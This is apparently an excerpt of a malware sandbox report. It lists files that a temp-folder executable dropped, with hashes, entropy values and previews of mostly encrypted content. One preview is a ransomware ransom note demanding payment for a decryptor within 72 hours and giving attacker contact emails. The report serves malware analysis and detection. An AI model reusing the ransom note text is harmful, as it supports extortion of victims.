                                                                                                                                                                Preview:....u.l8...Q..>3JR. ^.$i.5.Bz.oE.\....,._%.+.eH.24.W..Z..PS.....WF|....c?.>{H...?...byn.......H.d@._3...}..j.......q..W.|...|w.....p..Y>........>....-n..m.s..)L..K...@..g.N{.d..).F(.B...4..5../.h;..G.j.;..}......$5U.zjx....{....)...E.k.4zz.n..'....P.P.K..'...f..5jm.54*(.x.&zy..E..d.(b,.........4....~.].5E..&+.kb..^pb.Y...pY..C..hQeR..I[...qEB.Z.A...:..c....$.5.N.*.R.|0z..<y.gI....6..V@....t:_6K.]h..A...(n..J.zm.ViN.$......2p....Hd.....F..f3..v.(B......//3.....AMS$$..0%..4.e:.z?.......x.kQ./....=.[.....)..`......M.v.QK..-zq....D<.$.!.....r...d.b.....@..>./.Z^).2i..-.C...J6...e.:.3..}...5.!.EG%.^..f...#J....7....2.}.V....CJ....]../..f.....hI4.z_1...v....._..58U.S$.0.WU.....x.&..\e..b...G.....f$.V.j..c..y~..[]....KXD.....2..x@.....!.4.;.^..p....).Y1.M..i.qb+].a4.,}.....`.R..>&.z..F-.A7(.o.+. ...J.A.jw...9K.&.c.>....)..c"........?..T..'.AK....}.PZ+.j...S...0M..8M./F.&8.~.........r...p........m....2.*.n..H.)3-......J...Be.+W.Z.V.........A.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8284575929112155
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:QINWu2r7YC9bBDMYeTx2sgYQdtGp0c64dRm5YQU95V7RuKw5:Qg72r7ve4zjY0p4Tm5VU95pRux
                                                                                                                                                                MD5:D80BC5316739C89F00BD3AF95E7390D7
                                                                                                                                                                SHA1:446043A24A80CD2C9BDAF3F16CC70293744915E6
                                                                                                                                                                SHA-256:BDF5EF6E978FB6E77864E662E5D5733F84EF7ED716AEA34225558D315FDA15AF
                                                                                                                                                                SHA-512:B37DC3D4B1DAED1E8E5BA0BA62200AC9AFE36A969EAB116BB24CC68A6BF6CD8BD01C166234074CC4BFB7B1520E1AF22BB160E44B6F3454EB33AEC8C62BF8A0F9
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....u.l8...Q..>3JR. ^.$i.5.Bz.oE.\....,._%.+.eH.24.W..Z..PS.....WF|....c?.>{H...?...byn.......H.d@._3...}..j.......q..W.|...|w.....p..Y>........>....-n..m.s..)L..K...@..g.N{.d..).F(.B...4..5../.h;..G.j.;..}......$5U.zjx....{....)...E.k.4zz.n..'....P.P.K..'...f..5jm.54*(.x.&zy..E..d.(b,.........4....~.].5E..&+.kb..^pb.Y...pY..C..hQeR..I[...qEB.Z.A...:..c....$.5.N.*.R.|0z..<y.gI....6..V@....t:_6K.]h..A...(n..J.zm.ViN.$......2p....Hd.....F..f3..v.(B......//3.....AMS$$..0%..4.e:.z?.......x.kQ./....=.[.....)..`......M.v.QK..-zq....D<.$.!.....r...d.b.....@..>./.Z^).2i..-.C...J6...e.:.3..}...5.!.EG%.^..f...#J....7....2.}.V....CJ....]../..f.....hI4.z_1...v....._..58U.S$.0.WU.....x.&..\e..b...G.....f$.V.j..c..y~..[]....KXD.....2..x@.....!.4.;.^..p....).Y1.M..i.qb+].a4.,}.....`.R..>&.z..F-.A7(.o.+. ...J.A.jw...9K.&.c.>....)..c"........?..T..'.AK....}.PZ+.j...S...0M..8M./F.&8.~.........r...p........m....2.*.n..H.)3-......J...Be.+W.Z.V.........A.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:PGP Secret Sub-key -
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.855581745063053
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:4IeKts04kX9ORNH4n4RPQtzYG35bpJ71mFUxo/EgvHhY4MyZSKL2UE:4YtseXYRp44RYhp51J7kD/EggyIWA
                                                                                                                                                                MD5:E184AAD0A1E65308277993B6E71DBE18
                                                                                                                                                                SHA1:C3C006C4C75DD38C8A6D983CEC43F282CE2269E3
                                                                                                                                                                SHA-256:E439717AD1B04D83D676AEB208A01359E4A33F27DA2EB82653DA03D784FCB8E6
                                                                                                                                                                SHA-512:E8FB68CCC882EC67AE8F07626CC81CBBF20E8C1F12692E541E07423D076A9095FEFDA4C1DE3574F3CE250E88DFBA80191726461359EA367D1445039A44ED2440
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.F../...f.$..!QH...]...Pt,.a.....x....p.....Pn....sB.=........a...v....W%FE.....`.Oy..,.j.[....B ..'.f7...<?..zk.;..u.)(.I..$c.....=..@..U=..x..)...B.....W.^...A._......W..'s.%Z2 ...........l.......a0......c..`2.....^y..a...:..<..{|x.*.mfc....*.K..E......V........s..|ULo:.S...p.L..@YcO..T.,...j...IQ.._..9......n.f.d..R..=...).:.x..*[...J...5........n..E...w.2..os).....T....p......t....1....3..k......XN....."B..._.....%.iu%......+..K....EWQ..V.[..aW..)d.v..!.....H...^...SS.Q.....YN...>..k..:&..%..E...Q..2FD.Zl..@.`....v....P....u:..c.4...'..+.....:g.'-.r.l+.2(.Y.e+.h....;....+h.T}.".o8=...npY.iG...[.<.:..D.&.C.1k.HRzB..........N).....)./...A....)...5...g0z..N*e,x*...,..... ..$...Qc...P...S.....mN.b%:LA...&$Rl./.I...%V7.F+.Wh.o.ML4.A}:..0..q...I.F.X..&m..y..)q%...%D.-.q[9..}.7H.N..".MY."...'.g\E.......F....s}........>...7Lms4..... ..Bx...v.N.td/Z..i7@.%.2.].{r....c1..0.V.........y.........t(..E..7a..nk.g....%........k.y....q.+.........MLL..m
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:PGP Secret Sub-key -
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.855581745063053
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:4IeKts04kX9ORNH4n4RPQtzYG35bpJ71mFUxo/EgvHhY4MyZSKL2UE:4YtseXYRp44RYhp51J7kD/EggyIWA
                                                                                                                                                                MD5:E184AAD0A1E65308277993B6E71DBE18
                                                                                                                                                                SHA1:C3C006C4C75DD38C8A6D983CEC43F282CE2269E3
                                                                                                                                                                SHA-256:E439717AD1B04D83D676AEB208A01359E4A33F27DA2EB82653DA03D784FCB8E6
                                                                                                                                                                SHA-512:E8FB68CCC882EC67AE8F07626CC81CBBF20E8C1F12692E541E07423D076A9095FEFDA4C1DE3574F3CE250E88DFBA80191726461359EA367D1445039A44ED2440
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.F../...f.$..!QH...]...Pt,.a.....x....p.....Pn....sB.=........a...v....W%FE.....`.Oy..,.j.[....B ..'.f7...<?..zk.;..u.)(.I..$c.....=..@..U=..x..)...B.....W.^...A._......W..'s.%Z2 ...........l.......a0......c..`2.....^y..a...:..<..{|x.*.mfc....*.K..E......V........s..|ULo:.S...p.L..@YcO..T.,...j...IQ.._..9......n.f.d..R..=...).:.x..*[...J...5........n..E...w.2..os).....T....p......t....1....3..k......XN....."B..._.....%.iu%......+..K....EWQ..V.[..aW..)d.v..!.....H...^...SS.Q.....YN...>..k..:&..%..E...Q..2FD.Zl..@.`....v....P....u:..c.4...'..+.....:g.'-.r.l+.2(.Y.e+.h....;....+h.T}.".o8=...npY.iG...[.<.:..D.&.C.1k.HRzB..........N).....)./...A....)...5...g0z..N*e,x*...,..... ..$...Qc...P...S.....mN.b%:LA...&$Rl./.I...%V7.F+.Wh.o.ML4.A}:..0..q...I.F.X..&m..y..)q%...%D.-.q[9..}.7H.N..".MY."...'.g\E.......F....s}........>...7Lms4..... ..Bx...v.N.td/Z..i7@.%.2.].{r....c1..0.V.........y.........t(..E..7a..nk.g....%........k.y....q.+.........MLL..m
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Secret Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.858992666135451
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:QlQQ7Q6xGV8I7+FqYoscuzVXXrB3N9oLJcM0aA0zr9Ic54mGz9xN083XxX:IhOVf0oscuzVXXrB3Nu1VA0zr9daZz9b
                                                                                                                                                                MD5:29CC065678C8AC51CBD9447CF72EA74C
                                                                                                                                                                SHA1:32BF3BDCB061E30C35FDC05F5FFB276CCE0FFCFE
                                                                                                                                                                SHA-256:5D8F0149D276B3AE9F1C0BA58F3551D16882709F36FFB7D76BC2ABDF260B4753
                                                                                                                                                                SHA-512:7DA5E0DC31C87A8035BCFBFB8CA5895E762DE90DFF27EE4C7C528B4998451EF0C900394058030CF86332118C1A3F2FDB980A0646A714515D35AE491F1726E1B7
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..g!...?.W.>.._...B+..n.u[..f...b.((.Sa.n...0zc.N1..D~p.....y........xs9.-.{....V5 0..=...x...}.:~....v..$R.......g..X'...M...d....w^.P\..........U.&.o.Q..P.".f.67...v..........I.$.3j.$.Y.._...."?"sH...vY. 8~zL.k*$..#...'*.1.o....n./.H76..jo.}z=....X..#..%.C...%.........Y....c........ji....Fj).O......[...)......?..'bT...lk{#.....\..'....`.g.._.$.........7..W....,....u!../..U.n.......-.+.P.q........o]..XX2.....).h&. ...-.h..h.-:v.'..{8...9..]&/J...V..6}..K.S...e...+..).../.>A.t...\...f...0....{....d.X..~..:<.`cLy.M...l...!.|.~...r..G..w..o(..kT}......"5..-.^r.R.].<-......k....^...FS..6.Y4.....29..H...;'.....n...@.........|k.=.U..b..,._.._.D...C.-.3j..\)...|...zyt.6..5.?..z..a.l...?$.w.k..e..u........5P.zB.....!.N.....5....q....:....H..M.i..5..*S(.A0y.^.o..-0I..5U^.).t...f.OU..xqE.....r.[...4.k......0...67....1...#B...?..'vp\..ON..]v.....#.......*$....8.D.?..gaV.r..w.. m.<..rx.().{.gbh.....y....O.()K.../r{.YQE...*.!..... .[0.Q......#.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Secret Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.858992666135451
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:QlQQ7Q6xGV8I7+FqYoscuzVXXrB3N9oLJcM0aA0zr9Ic54mGz9xN083XxX:IhOVf0oscuzVXXrB3Nu1VA0zr9daZz9b
                                                                                                                                                                MD5:29CC065678C8AC51CBD9447CF72EA74C
                                                                                                                                                                SHA1:32BF3BDCB061E30C35FDC05F5FFB276CCE0FFCFE
                                                                                                                                                                SHA-256:5D8F0149D276B3AE9F1C0BA58F3551D16882709F36FFB7D76BC2ABDF260B4753
                                                                                                                                                                SHA-512:7DA5E0DC31C87A8035BCFBFB8CA5895E762DE90DFF27EE4C7C528B4998451EF0C900394058030CF86332118C1A3F2FDB980A0646A714515D35AE491F1726E1B7
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..g!...?.W.>.._...B+..n.u[..f...b.((.Sa.n...0zc.N1..D~p.....y........xs9.-.{....V5 0..=...x...}.:~....v..$R.......g..X'...M...d....w^.P\..........U.&.o.Q..P.".f.67...v..........I.$.3j.$.Y.._...."?"sH...vY. 8~zL.k*$..#...'*.1.o....n./.H76..jo.}z=....X..#..%.C...%.........Y....c........ji....Fj).O......[...)......?..'bT...lk{#.....\..'....`.g.._.$.........7..W....,....u!../..U.n.......-.+.P.q........o]..XX2.....).h&. ...-.h..h.-:v.'..{8...9..]&/J...V..6}..K.S...e...+..).../.>A.t...\...f...0....{....d.X..~..:<.`cLy.M...l...!.|.~...r..G..w..o(..kT}......"5..-.^r.R.].<-......k....^...FS..6.Y4.....29..H...;'.....n...@.........|k.=.U..b..,._.._.D...C.-.3j..\)...|...zyt.6..5.?..z..a.l...?$.w.k..e..u........5P.zB.....!.N.....5....q....:....H..M.i..5..*S(.A0y.^.o..-0I..5U^.).t...f.OU..xqE.....r.[...4.k......0...67....1...#B...?..'vp\..ON..]v.....#.......*$....8.D.?..gaV.r..w.. m.<..rx.().{.gbh.....y....O.()K.../r{.YQE...*.!..... .[0.Q......#.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.849040762207172
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:h3LwrvxmI/oepKDSAhAFRHUWPeiPyizpHj2XK4Bq6wDFbDx5gIuuW4U06Ej0w:h3LwrvxmiRpKJyZzpHSXz4zDFbDIIuu5
                                                                                                                                                                MD5:AEE1004EFAF6B4FFAFAB1E7FA297019B
                                                                                                                                                                SHA1:91C659C40D7C258C0FB5575F6C7EBBB0D4A5E6EF
                                                                                                                                                                SHA-256:FAE8C7AFB6B70CC2E6BB3F42CC26B67AEC853CABA8632B567D9F979D7D9FDAB2
                                                                                                                                                                SHA-512:FD662508BA77847326B5EFB2992E7C9DFA6CCD29EB9AC90FE77D9F6CAABB3E33D49BF0BD16DBD89F64BA43A19ADFFFC95D12B9855251525CBD81747BC6E8B109
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...4..`5V2.V.......... ..5.R......A..Z...j.d...c.$.i^..D.o......+6..W..0.+....{.j.".\j.m.gd.p.........p..&uw..Q..a..?.....a,...ZQ/.Gq..@...O...\.v...*.x.......V.=.g.r.....}>.u..o[..[.i...ts...v.3.f..8.5.N.l.B....#/.<'...`.}..?.>).b....#..#..f;j..o.h..a.......Y%....]U[$q..q.0|....O....`UO>(.......Gi.rbs..7 .w1....E....Qg.T"{..5U{.n#s...H.{&....U.[...<~.7!.4]Pv.8qX8*...dT..R..tYw...R.mq.U)Z..J..'....w#.m.r{....".BA)OY....>...#w...m\`.L.xK.&eY-.j..73..u..).o.......b....F. j.m0.]6...b.7.3....`.j1o...6.....q.J....,..VC.x..%{.b..s.i....O..F...][...y.0..p..+.8....&....J.\.........?)..8V..HI.-YN.kE."E.sn...s.N.I.Z.........T.c*..wyHx.....l9.BLG^K..0.......i!J.}uo{.(.T.o.@.....b\cLb..I...@'Z.)..<s.q{6.'{Z.}BV*8U..M.K6..<...p....^.......>.+.S.9g.....H...;...$...Eh*1dH..T.......{...>....x.U.g.#Z..h.^~O....["...,......@.......K.......a.......9...........e..p..l....:(. .S.>W..Z..n..E..{b.#..........S........9\pl....Da...|..b.=.{...h.%.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.849040762207172
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:h3LwrvxmI/oepKDSAhAFRHUWPeiPyizpHj2XK4Bq6wDFbDx5gIuuW4U06Ej0w:h3LwrvxmiRpKJyZzpHSXz4zDFbDIIuu5
                                                                                                                                                                MD5:AEE1004EFAF6B4FFAFAB1E7FA297019B
                                                                                                                                                                SHA1:91C659C40D7C258C0FB5575F6C7EBBB0D4A5E6EF
                                                                                                                                                                SHA-256:FAE8C7AFB6B70CC2E6BB3F42CC26B67AEC853CABA8632B567D9F979D7D9FDAB2
                                                                                                                                                                SHA-512:FD662508BA77847326B5EFB2992E7C9DFA6CCD29EB9AC90FE77D9F6CAABB3E33D49BF0BD16DBD89F64BA43A19ADFFFC95D12B9855251525CBD81747BC6E8B109
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...4..`5V2.V.......... ..5.R......A..Z...j.d...c.$.i^..D.o......+6..W..0.+....{.j.".\j.m.gd.p.........p..&uw..Q..a..?.....a,...ZQ/.Gq..@...O...\.v...*.x.......V.=.g.r.....}>.u..o[..[.i...ts...v.3.f..8.5.N.l.B....#/.<'...`.}..?.>).b....#..#..f;j..o.h..a.......Y%....]U[$q..q.0|....O....`UO>(.......Gi.rbs..7 .w1....E....Qg.T"{..5U{.n#s...H.{&....U.[...<~.7!.4]Pv.8qX8*...dT..R..tYw...R.mq.U)Z..J..'....w#.m.r{....".BA)OY....>...#w...m\`.L.xK.&eY-.j..73..u..).o.......b....F. j.m0.]6...b.7.3....`.j1o...6.....q.J....,..VC.x..%{.b..s.i....O..F...][...y.0..p..+.8....&....J.\.........?)..8V..HI.-YN.kE."E.sn...s.N.I.Z.........T.c*..wyHx.....l9.BLG^K..0.......i!J.}uo{.(.T.o.@.....b\cLb..I...@'Z.)..<s.q{6.'{Z.}BV*8U..M.K6..<...p....^.......>.+.S.9g.....H...;...$...Eh*1dH..T.......{...>....x.U.g.#Z..h.^~O....["...,......@.......K.......a.......9...........e..p..l....:(. .S.>W..Z..n..E..{b.#..........S........9\pl....Da...|..b.=.{...h.%.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8383766239591575
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:qnfkbQLleRjN/9RZFKWUriHYH6FvPiM9GRkxi+NyE68N:q8bQBef7KWQXCtyqN
                                                                                                                                                                MD5:A7A3D22546DD8B850CFDB611865DAB9C
                                                                                                                                                                SHA1:2AFA910D416451EB5B4533D3010B65573D430AEE
                                                                                                                                                                SHA-256:9FA69B49C2F4F209097924F19C7DEBBBF8FB8826C3C9BF62DD981E4C07491628
                                                                                                                                                                SHA-512:01B0FFB1D49727C5710690604CB19BE14714A87FA3A890AADD61B7E3071902EB016E82C5EB314CAD5D40DA0B13AF412AFDE4B66F28B6D005EEF0B6DBD1788F70
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:......=......._.3..1XbO.....5.(YkL..+..f.].D..c?1v.....0Z.Hi...8..&.#....:t...R.Yl...>..c.4..(W.?<.....C.....%.Nf9...b.2L..OV..m.....UAu.*..N.t3._.+......H..&..z.....-........[...........q...s.o.&q.h.z[..@.".H.e2.`...yiF.:$3R.#.....X.G....'...+*.....#!...fT.V..8.1pp..2..J....UF.........{.+u.J....E?.;...E..J...}.............C.QG...q.f...RuF..g..h.G7...a........).MV.d.NErB..k......^..dP..o....!y.K...V.r.....Y..S._.W.E..@....ig....s.B.$.....T..>-.g...Q......d.j4{..M.....^...Nk.$].RD.zv..:....&..^...x.!...L..cK...{A....%....I.0R.~ZwPI^..C.T...j....S..9a..ss..}.._.T#/..<&aI../..`%..z T&......Y......jEV..WfV...m@.*]b..%.F.....O.......B.P..w.b.+...&)..D."..$....6..A#L.O.I...=..=..........s..e..-u..}.2...W...l..H.Ws.=.....%./......0.)?......fV/8.j.cE....../...J{..x%......7{..x..4.#Q...We..;.\8P.|j.&.6.<.5...P...]...7....s...+......./.v...P.R.X_......v..kQm.Z....F...f.q...0v KK...[W......m..3.-...,...3V.Z...Y.'Ok.}z1.I..9I.....tG.....y.s6[.[
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8383766239591575
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:qnfkbQLleRjN/9RZFKWUriHYH6FvPiM9GRkxi+NyE68N:q8bQBef7KWQXCtyqN
                                                                                                                                                                MD5:A7A3D22546DD8B850CFDB611865DAB9C
                                                                                                                                                                SHA1:2AFA910D416451EB5B4533D3010B65573D430AEE
                                                                                                                                                                SHA-256:9FA69B49C2F4F209097924F19C7DEBBBF8FB8826C3C9BF62DD981E4C07491628
                                                                                                                                                                SHA-512:01B0FFB1D49727C5710690604CB19BE14714A87FA3A890AADD61B7E3071902EB016E82C5EB314CAD5D40DA0B13AF412AFDE4B66F28B6D005EEF0B6DBD1788F70
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:......=......._.3..1XbO.....5.(YkL..+..f.].D..c?1v.....0Z.Hi...8..&.#....:t...R.Yl...>..c.4..(W.?<.....C.....%.Nf9...b.2L..OV..m.....UAu.*..N.t3._.+......H..&..z.....-........[...........q...s.o.&q.h.z[..@.".H.e2.`...yiF.:$3R.#.....X.G....'...+*.....#!...fT.V..8.1pp..2..J....UF.........{.+u.J....E?.;...E..J...}.............C.QG...q.f...RuF..g..h.G7...a........).MV.d.NErB..k......^..dP..o....!y.K...V.r.....Y..S._.W.E..@....ig....s.B.$.....T..>-.g...Q......d.j4{..M.....^...Nk.$].RD.zv..:....&..^...x.!...L..cK...{A....%....I.0R.~ZwPI^..C.T...j....S..9a..ss..}.._.T#/..<&aI../..`%..z T&......Y......jEV..WfV...m@.*]b..%.F.....O.......B.P..w.b.+...&)..D."..$....6..A#L.O.I...=..=..........s..e..-u..}.2...W...l..H.Ws.=.....%./......0.)?......fV/8.j.cE....../...J{..x%......7{..x..4.#Q...We..;.\8P.|j.&.6.<.5...P...]...7....s...+......./.v...P.R.X_......v..kQm.Z....F...f.q...0v KK...[W......m..3.-...,...3V.Z...Y.'Ok.}z1.I..9I.....tG.....y.s6[.[
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.832192894878629
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:0kETXyXvloIgaBIj0/LJKR5BaywK+YQYA6dnXJj8r46/8kgoOBdjB7LIofm:0kETy2I6o/tAGTK+v6v442g5BtB3jfm
                                                                                                                                                                MD5:C2E361AE7D8CAC5346C1D453FFB1DBC5
                                                                                                                                                                SHA1:2EB3A8ABBB79CA44B36EFC5EA7B89AD693A61BC9
                                                                                                                                                                SHA-256:646E87C9B93906E39CAAE1D420CDFD9EE9BF67747A7E88A50C4EC4984DC0BE04
                                                                                                                                                                SHA-512:6EA79856AEAE391794624FFF95A60217E374F63044DE6D1EED758A770849AEF79BA3E9212EFF7D937201E5127833BE43DE0647E58A4826D6D070B1D3F07A23E0
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..z...o.p.4..`...n#O..8aTN..0...6.7...@K~..2FV+..7 .....Y.WvvD.....1.g.u.O...J.T....9siD.&.h3H....J4..E..N..Q....0...4....r...\l..7....W9...|..6."........;....GS....{..."..l._.{.2....S...o6........(o...I.K..e.......m."4I:..K.0..Q...E....}.IB.. ...R...@.}V.8b.....{"..5..w.6.jn;.p....t%...I..`..Mw...A......Pa.bU..rj..=...0.o..G.=f.N.qrzaa.5.I.7,.`...E$..P.....L...y.3..d.}.]'.....5.+w...w...1.:Y.&...'...L.B..j.:d6.Y.......H...rT:.]..L_.:..G.qU.N.5...h......?z......>./.........U..c....pM..r....].$../.$n.%`.....H.........jOah.d.D*@...5"......Ag../......sIA...."...E..o."...q-......!hc.E.?......G..d..O.,.....t.I6.V.j.';...._..T........%._s.s.Q...lcI....'.R3.......E.H{V.............:,....X.z.).!}o.a...<.c...u^..^7]..qp.v.@..L.l6^..~...{......oJ.oV.8>..z.0..O...$...S.k..Tb..D...;.W9N....=H._..G.8....[0..H.....&.a..L.4.."Op~..[...(G.}J.......O..F.)...t._..30...D.T[....r 4.ye.....q.h.uB..rQ.K6..*....5..N+RV.:..+..`&o2.x..`6A;i..q......CU|..A.`....HH.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.832192894878629
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:0kETXyXvloIgaBIj0/LJKR5BaywK+YQYA6dnXJj8r46/8kgoOBdjB7LIofm:0kETy2I6o/tAGTK+v6v442g5BtB3jfm
                                                                                                                                                                MD5:C2E361AE7D8CAC5346C1D453FFB1DBC5
                                                                                                                                                                SHA1:2EB3A8ABBB79CA44B36EFC5EA7B89AD693A61BC9
                                                                                                                                                                SHA-256:646E87C9B93906E39CAAE1D420CDFD9EE9BF67747A7E88A50C4EC4984DC0BE04
                                                                                                                                                                SHA-512:6EA79856AEAE391794624FFF95A60217E374F63044DE6D1EED758A770849AEF79BA3E9212EFF7D937201E5127833BE43DE0647E58A4826D6D070B1D3F07A23E0
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..z...o.p.4..`...n#O..8aTN..0...6.7...@K~..2FV+..7 .....Y.WvvD.....1.g.u.O...J.T....9siD.&.h3H....J4..E..N..Q....0...4....r...\l..7....W9...|..6."........;....GS....{..."..l._.{.2....S...o6........(o...I.K..e.......m."4I:..K.0..Q...E....}.IB.. ...R...@.}V.8b.....{"..5..w.6.jn;.p....t%...I..`..Mw...A......Pa.bU..rj..=...0.o..G.=f.N.qrzaa.5.I.7,.`...E$..P.....L...y.3..d.}.]'.....5.+w...w...1.:Y.&...'...L.B..j.:d6.Y.......H...rT:.]..L_.:..G.qU.N.5...h......?z......>./.........U..c....pM..r....].$../.$n.%`.....H.........jOah.d.D*@...5"......Ag../......sIA...."...E..o."...q-......!hc.E.?......G..d..O.,.....t.I6.V.j.';...._..T........%._s.s.Q...lcI....'.R3.......E.H{V.............:,....X.z.).!}o.a...<.c...u^..^7]..qp.v.@..L.l6^..~...{......oJ.oV.8>..z.0..O...$...S.k..Tb..D...;.W9N....=H._..G.8....[0..H.....&.a..L.4.."Op~..[...(G.}J.......O..F.)...t._..30...D.T[....r 4.ye.....q.h.uB..rQ.K6..*....5..N+RV.:..+..`&o2.x..`6A;i..q......CU|..A.`....HH.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.845126133713717
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:AlxU0RsXScXLvU7wy4BeKuoE1GaxESzPn/5GFxoNY7NkRF7j/pD6TA2:kxXRspoOcl1GaxEkAQKk/Xwd
                                                                                                                                                                MD5:96F365EC6E14232AA9CC28C395A7C9BC
                                                                                                                                                                SHA1:A41867F8597B2ECD846A8C921BD8F36A34EAA3EC
                                                                                                                                                                SHA-256:E2EF93E140EF2E25A9D206DA5D31A20E931E9F849C48BFC8EFED646992AF1FE8
                                                                                                                                                                SHA-512:38297E1D8E8ABB0D0D6467C7D55E11C609A52200B1DAB9671CE15D627A307E1A3DFF75AB3EF0A7BB6E74291BB2AD5162E683995A6D09790E38BD0542AC3C5117
                                                                                                                                                                Malicious:false
